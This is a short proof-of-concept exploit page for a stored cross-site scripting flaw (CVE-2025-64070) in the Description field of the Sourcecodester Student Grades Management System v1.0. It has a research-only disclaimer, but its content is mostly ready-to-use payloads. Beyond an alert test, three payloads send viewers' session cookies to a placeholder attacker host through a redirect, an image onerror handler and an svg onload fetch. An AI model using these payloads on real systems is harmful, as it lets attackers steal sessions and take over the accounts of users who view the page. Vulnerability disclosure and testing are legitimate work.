Sourcecodester Student Grades Management System v1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-64070 PoC - Stored XSS in Add New Subject Description -->
<!-- Login to Sourcecodester Student Grades Management System v1.0 -->
<!-- Navigate to Add New Subject functionality -->
<!-- Enter the following payload in the Description field: -->
<script>alert('XSS Vulnerability - CVE-2025-64070')</script>
<!-- Alternative payloads: -->
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">
<svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.cookie))>
<!-- After submission, any user viewing the subject will trigger the XSS -->